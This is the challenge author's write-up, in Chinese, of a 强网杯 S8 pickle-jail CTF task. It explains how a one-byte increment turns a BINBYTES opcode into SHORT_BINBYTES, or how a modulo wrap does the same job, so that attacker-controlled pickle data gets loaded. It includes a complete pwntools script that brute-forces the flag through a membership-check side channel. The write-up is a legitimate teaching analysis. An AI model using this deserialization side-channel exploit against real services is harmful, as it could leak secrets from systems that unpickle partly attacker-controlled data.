前言

今年很荣幸在 强网杯 S8 这项大赛中出了一道 Misc 的 Jail 类型题目,在此感谢空白师傅的邀请~

关于 Jail 类型的题目,这两年国内也是越来越多,去年的强网杯三道 PyJail 都是空白师傅出的高水平的题目,今年我个人不是很想出 RCE 的题型,因为可能出现很多的非预期解法(思路肯定越多越好,但是作为出题者的角度,肯定是希望解题步骤符合预期),于是出了这么一道pickle 反序列化配合side channel 侧信道的题目。

题目的灵感来源 jailctf-2024-lost-in-transit ,当时解完这题发现flag最后一个字符}刚好可以被pickle当做空字典解析,所以就想着能不能利用这个特性来出题,于是就有了这道题。

赛后在 Misc 群中也看到了挺多对这题的好评,也是非常开心收到这些评价。当然题目肯定是有进步的空间的!

废话少说,直接进入赛题解析!

题目信息

题目就给了一个 pickle_jail.py 的文件,非常的通俗易懂

#!/usr/local/bin/python
from io import BytesIO
from os import _exit
from pathlib import Path
from pickle import Pickler, Unpickler
from sys import stderr, stdin, stdout
from time import time

from faker import Faker

Faker.seed(time())
fake = Faker("en_US")
flag = Path("flag").read_text()


def print(_):
    stdout.buffer.write(f"{_}\n".encode())
    stdout.buffer.flush()


def input(_=None, limit: int = -1):
    if _:
        print(_)
    _ = stdin.buffer.readline(limit)
    stdin.buffer.flush()
    return _


def bye(_):
    print(_)
    _exit(0)


players = [fake.unique.first_name().encode() for _ in range(50)]
print("Welcome to this jail game!")
print(f"Play this game to get the flag with these players: {players}!")
name = input("So... What's your name?", 300).strip()

assert name not in players, "You are already joined!"

print(f"Welcome {name}!")
players.append(name)

biox = BytesIO()
Pickler(biox).dump(
    (
        name,
        players,
        flag,
    )
)

data = bytearray(biox.getvalue())
num = input("Enter a random number to win: ", 1)[0]
assert num < len(data), "You are not allowed to win!"
data[num] += 1
data[num] %= 0xFF

del name, players, flag
biox.close()
stderr.close()

try:
    safe_dic = {
        "__builtins__": None,
        "n": BytesIO(data),
        "F": type("f", (Unpickler,), {"find_class": lambda *_: "H4cker"}),
    }
    name, players, _ = eval("F(n).load()", safe_dic, {})
    if name in players:
        del _
        print(f"{name} joined this game, but here is no flag!")
except Exception:
    print("What happened? IDK...")
finally:
    bye("Break this jail to get the flag!")

由于当时给平台的附件没有附带 Dockerfile,所以 Python 的版本信息和这个 Faker 库的信息在题面给出来了

FROM python@sha256:c38ead8bcf521573dad837d7ecfdebbc87792202e89953ba8b2b83a9c5a520b6
RUN pip install -i https://mirrors.tuna.tsinghua.edu.cn/pypi/web/simple Faker

Python 3.10 的 alpine 镜像 + Faker 随机生成数据的一个库,并且为了减少爆破次数 flag 的格式也告诉了是 flag{UUID4}

解题思路

通过简单分析 pickle_jail.py 的源码,可以发现输入输出是使用 stdin.bufferstdout.buffer 完成的,这个 buffer 输入和输出都是用bytes类型的数据,题目的流程如下:

  1. 随机生成 50 个虚拟英文名称,并装入 players 数组中
  2. 让用户输入不超过 300 长度的 name,⚠️注意:类型是 bytes
  3. name 存入 players
  4. (name, players, flag) 这个三元组 pickle 序列化
  5. 有一次机会让数组序列化后的 bytearray 的指定下标的数值 +1
  6. Unpickler 反序列化之前的三元组,但是重写了 Unpickler.find_class
  7. 判断 if name in players

这题的预期解是侧信道,解法有两种,先给其中一种 exp 再做分析。

exp

from string import ascii_lowercase, digits

from pwn import context, p32, process, remote

DEBUG = False
context.log_level = "debug" if DEBUG else "error"
HOST, PORT = "127.0.0.1", 5000

flag = "flag{"
str_set = "-" + ascii_lowercase + digits

while len(flag) != 41:
    print("flag:", flag)
    for i in str_set:
        print("try", i)
        io = (
            process("python3 ./pickle_jail.py", shell=True)
            if DEBUG
            else remote(HOST, PORT)
        )
        io.recvuntil(b"Play this game to get the flag with these players: ")
        players = io.recvline(keepends=False).strip().strip(b"!")
        players = eval(players.decode())

        tmp_flag = flag + i
        tmp_flag_len = len(tmp_flag)
        if tmp_flag_len == 10:  # 不可为 10 即 \n, 否则会被 input 截断
            tmp_flag = flag[1:] + i
            tmp_flag_len = len(tmp_flag)

        payload = b"C"
        payload += bytes([tmp_flag_len])
        payload += tmp_flag.encode()
        pad = 3 * len(players) + sum(map(len, players)) + 302 - tmp_flag_len
        payload += b"B" + p32(pad)
        payload = payload.ljust(0x103, b"\xff")

        io.sendlineafter(b"What's your name?", payload)
        io.sendafter(b"win: ", bytes([11]))

        data = io.recvuntil(b"flag!")
        if b"joined" in data and tmp_flag.encode() in data:
            flag += i
            io.close()
            break
        io.close()


print(f"Flag is : {flag+'}'}")

pickle data

第一步,先让我们看看序列化后的数据,测试用的 flag 均为 flag{f0192fd3-f87f-4693-a28d-a6e24766c143}

# 交互如下:
# >>> So... What's your name?
# >>> woodwhale
# >>> Welcome b'woodwhale'!
# pickle 后的 bytearray 数据在 data
from pickletools import dis
data = bytearray(b'\x80\x04\x95\x14\x02\x00\x00\x00\x00\x00\x00C\twoodwhale\x94]\x94(C\x07Heather\x94C\x06Sharon\x94C\x06Hannah\x94C\x05Kelli\x94C\x06Teresa\x94C\x06Thomas\x94C\x08Veronica\x94C\x05Susan\x94C\x06Eileen\x94C\x07Kristin\x94C\x0bChristopher\x94C\x08Kristina\x94C\x08Michelle\x94C\x05Bryan\x94C\x05Jerry\x94C\x07Michael\x94C\x06Shelby\x94C\x07Tiffany\x94C\x05Erika\x94C\x06Robert\x94C\x08Courtney\x94C\x06Angela\x94C\x04Erin\x94C\x06Nicole\x94C\x07Jeffrey\x94C\x07Colleen\x94C\x07William\x94C\x06Deanna\x94C\x05James\x94C\x06Stacey\x94C\x05Terri\x94C\x05Sarah\x94C\x06Alicia\x94C\x05Maria\x94C\x06Rickey\x94C\x07Natalie\x94C\x07Richard\x94C\x07Garrett\x94C\x06Amanda\x94C\x05Jason\x94C\x05Tammy\x94C\x04Dana\x94C\x05Jamie\x94C\x04John\x94C\x06Brandi\x94C\tAlejandro\x94C\x08Danielle\x94C\tAlexandra\x94C\x08Brittany\x94C\x07Melissa\x94h\x00e\x8c*flag{f0192fd3-f87f-4693-a28d-a6e24766c143}\x94\x87\x94.')
dis(data)

'''
    0: \x80 PROTO      4
    2: \x95 FRAME      532
   11: C    SHORT_BINBYTES b'woodwhale'
   22: \x94 MEMOIZE    (as 0)
   23: ]    EMPTY_LIST
   24: \x94 MEMOIZE    (as 1)
   25: (    MARK
   26: C        SHORT_BINBYTES b'Heather'
   35: \x94     MEMOIZE    (as 2)
   36: C        SHORT_BINBYTES b'Sharon'
   44: \x94     MEMOIZE    (as 3)
   45: C        SHORT_BINBYTES b'Hannah'
   53: \x94     MEMOIZE    (as 4)
   54: C        SHORT_BINBYTES b'Kelli'
   61: \x94     MEMOIZE    (as 5)
   62: C        SHORT_BINBYTES b'Teresa'
   70: \x94     MEMOIZE    (as 6)
   71: C        SHORT_BINBYTES b'Thomas'
   79: \x94     MEMOIZE    (as 7)
   80: C        SHORT_BINBYTES b'Veronica'
   90: \x94     MEMOIZE    (as 8)
   91: C        SHORT_BINBYTES b'Susan'
   98: \x94     MEMOIZE    (as 9)
   99: C        SHORT_BINBYTES b'Eileen'
  107: \x94     MEMOIZE    (as 10)
  108: C        SHORT_BINBYTES b'Kristin'
  117: \x94     MEMOIZE    (as 11)
  118: C        SHORT_BINBYTES b'Christopher'
  131: \x94     MEMOIZE    (as 12)
  132: C        SHORT_BINBYTES b'Kristina'
  142: \x94     MEMOIZE    (as 13)
  143: C        SHORT_BINBYTES b'Michelle'
  153: \x94     MEMOIZE    (as 14)
  154: C        SHORT_BINBYTES b'Bryan'
  161: \x94     MEMOIZE    (as 15)
  162: C        SHORT_BINBYTES b'Jerry'
  169: \x94     MEMOIZE    (as 16)
  170: C        SHORT_BINBYTES b'Michael'
  179: \x94     MEMOIZE    (as 17)
  180: C        SHORT_BINBYTES b'Shelby'
  188: \x94     MEMOIZE    (as 18)
  189: C        SHORT_BINBYTES b'Tiffany'
  198: \x94     MEMOIZE    (as 19)
  199: C        SHORT_BINBYTES b'Erika'
  206: \x94     MEMOIZE    (as 20)
  207: C        SHORT_BINBYTES b'Robert'
  215: \x94     MEMOIZE    (as 21)
  216: C        SHORT_BINBYTES b'Courtney'
  226: \x94     MEMOIZE    (as 22)
  227: C        SHORT_BINBYTES b'Angela'
  235: \x94     MEMOIZE    (as 23)
  236: C        SHORT_BINBYTES b'Erin'
  242: \x94     MEMOIZE    (as 24)
  243: C        SHORT_BINBYTES b'Nicole'
  251: \x94     MEMOIZE    (as 25)
  252: C        SHORT_BINBYTES b'Jeffrey'
  261: \x94     MEMOIZE    (as 26)
  262: C        SHORT_BINBYTES b'Colleen'
  271: \x94     MEMOIZE    (as 27)
  272: C        SHORT_BINBYTES b'William'
  281: \x94     MEMOIZE    (as 28)
  282: C        SHORT_BINBYTES b'Deanna'
  290: \x94     MEMOIZE    (as 29)
  291: C        SHORT_BINBYTES b'James'
  298: \x94     MEMOIZE    (as 30)
  299: C        SHORT_BINBYTES b'Stacey'
  307: \x94     MEMOIZE    (as 31)
  308: C        SHORT_BINBYTES b'Terri'
  315: \x94     MEMOIZE    (as 32)
  316: C        SHORT_BINBYTES b'Sarah'
  323: \x94     MEMOIZE    (as 33)
  324: C        SHORT_BINBYTES b'Alicia'
  332: \x94     MEMOIZE    (as 34)
  333: C        SHORT_BINBYTES b'Maria'
  340: \x94     MEMOIZE    (as 35)
  341: C        SHORT_BINBYTES b'Rickey'
  349: \x94     MEMOIZE    (as 36)
  350: C        SHORT_BINBYTES b'Natalie'
  359: \x94     MEMOIZE    (as 37)
  360: C        SHORT_BINBYTES b'Richard'
  369: \x94     MEMOIZE    (as 38)
  370: C        SHORT_BINBYTES b'Garrett'
  379: \x94     MEMOIZE    (as 39)
  380: C        SHORT_BINBYTES b'Amanda'
  388: \x94     MEMOIZE    (as 40)
  389: C        SHORT_BINBYTES b'Jason'
  396: \x94     MEMOIZE    (as 41)
  397: C        SHORT_BINBYTES b'Tammy'
  404: \x94     MEMOIZE    (as 42)
  405: C        SHORT_BINBYTES b'Dana'
  411: \x94     MEMOIZE    (as 43)
  412: C        SHORT_BINBYTES b'Jamie'
  419: \x94     MEMOIZE    (as 44)
  420: C        SHORT_BINBYTES b'John'
  426: \x94     MEMOIZE    (as 45)
  427: C        SHORT_BINBYTES b'Brandi'
  435: \x94     MEMOIZE    (as 46)
  436: C        SHORT_BINBYTES b'Alejandro'
  447: \x94     MEMOIZE    (as 47)
  448: C        SHORT_BINBYTES b'Danielle'
  458: \x94     MEMOIZE    (as 48)
  459: C        SHORT_BINBYTES b'Alexandra'
  470: \x94     MEMOIZE    (as 49)
  471: C        SHORT_BINBYTES b'Brittany'
  481: \x94     MEMOIZE    (as 50)
  482: C        SHORT_BINBYTES b'Melissa'
  491: \x94     MEMOIZE    (as 51)
  492: h        BINGET     0
  494: e        APPENDS    (MARK at 25)
  495: \x8c SHORT_BINUNICODE 'flag{f0192fd3-f87f-4693-a28d-a6e24766c143}'
  539: \x94 MEMOIZE    (as 52)
  540: \x87 TUPLE3
  541: \x94 MEMOIZE    (as 53)
  542: .    STOP
highest protocol among opcodes = 4
'''

我们可以在上面的 bytearray 的任意 index 进行 +1 的操作,除去随机生成的 players 还有固定的 42 长度的 flag,用户可控的只有 name 这个自定义输入的数据,那么就focus on it

关键点就是

 0: \x80 PROTO      4
11: C    SHORT_BINBYTES b'woodwhale'

proto 是 4 的版本,其次这个SHORT_BINBYTES,查看 pickle 的源代码,在Protocol 3 的部分可以看到 C 的定义,小于 256 字节的 bytes 都是用 C 进行序列化的

# Protocol 3 (Python 3.x)

BINBYTES       = b'B'   # push bytes; counted binary string argument
SHORT_BINBYTES = b'C'   #  "     "   ;    "      "       "      " < 256 bytes

那如果大于256长度呢?测试一下

from pickletools import dis
data = bytearray(b'\x80\x04\x95\xe5\x02\x00\x00\x00\x00\x00\x00B\x00\x01\x00\x00aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x94]\x94(C\x06Steven\x94C\x05James\x94C\x05Maria\x94C\x05Peter\x94C\x06Daniel\x94C\x06Robert\x94C\x06Thomas\x94C\x04Jose\x94C\x04John\x94C\x04Sean\x94C\x05Derek\x94C\x06Angela\x94C\x05Dylan\x94C\x06Dennis\x94C\x04Troy\x94C\x07Breanna\x94C\x08Mitchell\x94C\x05Janet\x94C\x08Benjamin\x94C\x05Keith\x94C\x07Jillian\x94C\x06Joseph\x94C\x05David\x94C\x05Jaime\x94C\x08Michelle\x94C\x05Linda\x94C\x07Allison\x94C\x06George\x94C\x05Amber\x94C\x04Dawn\x94C\x04Kyle\x94C\x08Courtney\x94C\x05Debra\x94C\x06Stacie\x94C\x04Mark\x94C\x04Erin\x94C\x07Bethany\x94C\x07Timothy\x94C\x04Eric\x94C\x04Paul\x94C\x04Lisa\x94C\x05Kevin\x94C\x04Dean\x94C\x08Patricia\x94C\x07Francis\x94C\x06Monica\x94C\x05Laura\x94C\x05Brian\x94C\x05Susan\x94C\x05Jimmy\x94h\x00e\x8c*flag{f0192fd3-f87f-4693-a28d-a6e24766c143}\x94\x87\x94.')
dis(data)
'''
省略大部分,只看关键的一行:
  11: B    BINBYTES   b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
'''

实践发现,大于等于 256 长度的 bytes 数据在序列化时使用 B

回顾到题目中,pickle 后的 bytearray 的任意 index 的数据可以 + 1

上述的BC正好就相差一,不难想到如下的思路:

  1. 我们输入一个长度大于 256 的 name
  2. index = 11 的这个下标让其 +1,让 B + 1 = C
  3. 那么 pickle load 反序列化的时候就只会将 name 反序列化成一个小于 256 长度的数据,而之后有很长的 bytes 数据可以被我们反序列化,也就是可以任意数据反序列化

flag end with }

实现了任意数据反序列化后,再回到题面,由于 Unpickler.find_class 已经被永远返回 H4cker 这个字符串了,所以也没办法用模块导入的方法 RCE

结合题目,在最开始的时候就读取了flag的内容,并且和name、players一并pickle.dump到了一个三元组中

并且最后pickle.load的时候,又会解包这个三元组

那么在没有 RCE 的情况下,我们有没有可能将这个pickle.dump后的 bytearray中的 flagpickle.load出来呢?

我们再查看flag的格式——flag{UUID4},可以惊奇的发现,flag 的结尾是一个}

回到pickle的源码的 135 行,可以看到空字典的 pickle 格式

EMPTY_DICT     = b'}'   # push empty dict

也就是说,我们可以配合上一步的任意pickle data write,让 name, players, _ = eval("F(n).load()", safe_dic, {}) 解包后的数据自定义

  • name一定是一个C,也就是小于256的bytes
  • players可以自定义,因为我们可以覆盖写入pickle data
  • _ 可以是flag,也可以是空字典,选择让其成为空字典,那么flag的数据就会序列化到前一个参数players中

那么最后的思路就是

  • name输入自定义bytes
  • players携带flag数据
  • _ 是一个空字典,不用管

结合 if name in players 这个判断语句,我们可以单字节去爆破flag的内容

例如,name=b"flag{", players = b"一堆无用的players数据" + b"flag数据",如果name中输入的flag正确,那么就会执行print(f"{name} joined this game, but here is no flag!"),从而完成侧信道爆破

padding

上述解法的关键就是,如何编写自定义的pickle data

我们可以通过构造特定的 padding,进行pickle data的构造

通过多次的反序列化摸索,可以得到如下的 payload

flag = "flag{"
tmp_flag = flag
tmp_flag_len = len(tmp_flag)
payload = b"C"	# bytes
payload += bytes([tmp_flag_len]) # bytes len
payload += tmp_flag.encode()	# bytes content
pad = 3 * len(players) + sum(map(len, players)) + 302 - tmp_flag_len
payload += b"B" + p32(pad) # > 256 bytes padding,配合ljust正好覆盖到 flag 删去 `}` 的最后一个字符
payload = payload.ljust(0x103, b"\xff")

其中的 padding 手搓就可以了,因为是和players的长度挂钩的,而players又是随机生成的,所以还是需要计算这个随机变量的

这个payload = payload.ljust(0x103, b"\xff")中的0x103还挺关键的,因为这样生成的namepickle data,在没有+1之前是

b'B\x03\x01\x00\x00' + b'用户输入的长度为0x103的name'

如果在index = 11的位置➕1,那么就成了

b'C\x03\x01\x00\x00' + b'用户输入的长度为0x103的name'

就会被解析成

b'C' + 						 # load 小于 256 的 bytes	
b'\0x3' + 					 # load 长度为 3 的 bytes
b'\x01\x00\x00' +			 # 长度为 3 的 bytes
b'用户输入的长度为0x103的name'  # 自定义 pickle data

就可以任意pickle data load

例如,我们输入如下的数据

b'C\x06flag{1B\xea\x02\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff'

输入numberbytes([11])

随后得到的新的三元组的 pickle data就是

data = bytearray(b'\x80\x04\x95\xff\x02\x00\x00\x00\x00\x00\x00C\x03\x01\x00\x00C\x06flag{-B\xe8\x02\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x94]\x94(C\x06Amanda\x94C\x06Denise\x94C\x06Robert\x94C\x05Paula\x94C\x06Angela\x94C\x0bChristopher\x94C\x04Lisa\x94C\x06Tamara\x94C\x07Barbara\x94C\x07Jasmine\x94C\x06Ashley\x94C\tAlejandra\x94C\x05David\x94C\x04Alex\x94C\x05Keith\x94C\x05Billy\x94C\x06Melvin\x94C\x07William\x94C\x05Tonya\x94C\x08Jennifer\x94C\x06Brandi\x94C\x05James\x94C\x05Donna\x94C\x07Bradley\x94C\x07Theresa\x94C\x05Kayla\x94C\x05Carol\x94C\x07Kristin\x94C\x05Susan\x94C\x08Mitchell\x94C\x06Sandra\x94C\x05Kathy\x94C\x07Jeffrey\x94C\x07Michael\x94C\x05Julia\x94C\x06Nicole\x94C\x06Gloria\x94C\x05Henry\x94C\x04Cory\x94C\x07Phillip\x94C\x06Dakota\x94C\x06Daniel\x94C\x05Shawn\x94C\x08Kimberly\x94C\x07Heather\x94C\x05Jacob\x94C\x04John\x94C\x06Nathan\x94C\x05Jimmy\x94C\x04Eric\x94h\x00e\x8c*flag{f0192fd3-f87f-4693-a28d-a6e24766c143}\x94\x87\x94.')

我们尝试pickletools.dis一下,可以看到如下的信息:

    0: \x80 PROTO      4
    2: \x95 FRAME      767
   11: C    SHORT_BINBYTES b'\x01\x00\x00'
   16: C    SHORT_BINBYTES b'flag{-'
   24: B    BINBYTES   b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x94]\x94(C\x06Amanda\x94C\x06Denise\x94C\x06Robert\x94C\x05Paula\x94C\x06Angela\x94C\x0bChristopher\x94C\x04Lisa\x94C\x06Tamara\x94C\x07Barbara\x94C\x07Jasmine\x94C\x06Ashley\x94C\tAlejandra\x94C\x05David\x94C\x04Alex\x94C\x05Keith\x94C\x05Billy\x94C\x06Melvin\x94C\x07William\x94C\x05Tonya\x94C\x08Jennifer\x94C\x06Brandi\x94C\x05James\x94C\x05Donna\x94C\x07Bradley\x94C\x07Theresa\x94C\x05Kayla\x94C\x05Carol\x94C\x07Kristin\x94C\x05Susan\x94C\x08Mitchell\x94C\x06Sandra\x94C\x05Kathy\x94C\x07Jeffrey\x94C\x07Michael\x94C\x05Julia\x94C\x06Nicole\x94C\x06Gloria\x94C\x05Henry\x94C\x04Cory\x94C\x07Phillip\x94C\x06Dakota\x94C\x06Daniel\x94C\x05Shawn\x94C\x08Kimberly\x94C\x07Heather\x94C\x05Jacob\x94C\x04John\x94C\x06Nathan\x94C\x05Jimmy\x94C\x04Eric\x94h\x00e\x8c*flag{f0192fd3-f87f-4693-a28d-a6e24766c143'
  773: }    EMPTY_DICT
  774: \x94 MEMOIZE    (as 0)
  775: \x87 TUPLE3
  776: \x94 MEMOIZE    (as 1)
  777: .    STOP
highest protocol among opcodes = 4
Traceback (most recent call last):
  File "test.py", line 3, in <module>
    dis(data)
  File "lib/python3.10/pickletools.py", line 2547, in dis
    raise ValueError("stack not empty after STOP: %r" % stack)
ValueError: stack not empty after STOP: [bytes]

报错的原因是 stack 不为空,还剩一个 11: C SHORT_BINBYTES b'\x01\x00\x00',但是无关紧要,pickle.loads是不会报错的

于是我们解包后的三元组数据就是:

(b'flag{-', b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x94]\x94(C\x06Amanda\x94C\x06Denise\x94C\x06Robert\x94C\x05Paula\x94C\x06Angela\x94C\x0bChristopher\x94C\x04Lisa\x94C\x06Tamara\x94C\x07Barbara\x94C\x07Jasmine\x94C\x06Ashley\x94C\tAlejandra\x94C\x05David\x94C\x04Alex\x94C\x05Keith\x94C\x05Billy\x94C\x06Melvin\x94C\x07William\x94C\x05Tonya\x94C\x08Jennifer\x94C\x06Brandi\x94C\x05James\x94C\x05Donna\x94C\x07Bradley\x94C\x07Theresa\x94C\x05Kayla\x94C\x05Carol\x94C\x07Kristin\x94C\x05Susan\x94C\x08Mitchell\x94C\x06Sandra\x94C\x05Kathy\x94C\x07Jeffrey\x94C\x07Michael\x94C\x05Julia\x94C\x06Nicole\x94C\x06Gloria\x94C\x05Henry\x94C\x04Cory\x94C\x07Phillip\x94C\x06Dakota\x94C\x06Daniel\x94C\x05Shawn\x94C\x08Kimberly\x94C\x07Heather\x94C\x05Jacob\x94C\x04John\x94C\x06Nathan\x94C\x05Jimmy\x94C\x04Eric\x94h\x00e\x8c*flag{f0192fd3-f87f-4693-a28d-a6e24766c143', {})

这样,通过name in players就能爆破出 flag 的数据了

这里的第一个坑点就是,输入\x10会被当做\n截断,所以需要特殊处理一下

if tmp_flag_len == 10:  # 不可为 10 即 \n, 否则会被 input 截断
    tmp_flag = flag[1:] + i
    tmp_flag_len = len(tmp_flag)

第二个坑点就是players是随机生成的,每次的数据都不一样,得计算padding长度,这里就不细谈了,直接看exp就行

至此,这题就可以被侧信道爆破出来了!

second-approach

上述的解法是使用长度大于 256 的 bytes 数据,通过 \xB + 1 = \xC 的方式来进行之后的任意 pickle data write,但是本题为了减少难度,还有一种预期解法

我们注意到如下代码

data[num] += 1
data[num] %= 0xFF

经常打 pwn 的师傅们肯定会想到 (0xfe + 1) % 0xff = 0 这个漏洞:如果我们输入一个长度为 0xfe 的 name,然后在 index=12 的下标对数据 +1 ,那么这个B对应的长度\xfe就成了\x0,从这之后开始就可以任意写pickle数据了,之后的思路和上述解法是一样的

两个解法的区别其实就是\xB + 1 = \xC(0xfe + 1) % 0xff = 0的区别(还有 index=11 和 index=12 的区别),其他的思路都是一样的

后话

第一次给这么大的赛事出题,感慨颇多,也希望今后能出更多高质量的赛题🤣

在审核 WP 的时候,还是发现了部分 exp 有 99% 的相似度,所以还是希望各位师傅们能多加注意,不要再去 py 咯!说什么都是 AI 生成的,给不出聊天历史,还在嘴硬!